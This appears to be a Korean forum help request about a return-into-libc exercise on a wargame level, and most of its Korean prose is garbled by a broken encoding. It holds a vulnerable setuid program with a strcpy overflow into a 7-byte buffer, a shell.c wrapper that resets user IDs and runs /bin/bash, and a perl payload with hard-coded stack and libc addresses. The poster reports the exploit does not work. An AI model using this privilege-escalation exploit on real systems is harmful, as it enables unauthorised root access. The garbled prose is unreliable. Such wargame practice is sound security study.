ް ÿ÷ο ߿ return into libcκԴϴ.
ϴ ̵ level9 ؼ
ϴ.(ϸ vul.c)
int main(int argc,char *argv[])
{
char buf[7];
strcpy(buf,argv[1]);
return 0;
}
chmod u+s vul ɾϴ.
level11 ؼ
shell.c ۼ߽ϴ.
int main()
{
setreuid(geteuid(),geteuid());
setregid(getegid(),getegid());
execl("/bin/bash","sh",0);
}
execl libcġ ˾Ƴ½ϴ.(0x400d16c0)
gdb vul ܺ ּҰ ˾Ƴ½ϴ.(0xbffffb34)
ڵ带 ־ϴ.
./vul `perl -e 'print "A"x24,"\x34\xfb\xff\xbf","\xc3\x16\x0d\x40"," ./shell"'`
Ʈ Ʈ ڲ ϴ. .
gdb r `perl -e 'print "A"x24,"\x34\xfb\xff\xbf","\xc3\x16\x0d\x40"," ./shell"'`̷ ְ ϳ Ȯغôµ
ebp 0xbffffb34 巹 κп execl ° Ȯߴµ ȵ˴ϴ. .
̰ 3° ֽϴ. лε ̷ ϱ Դϴ.
α ϳ ϴ.( غýϴ.)
ƹ ص øϴ. Ź帳ϴ.
|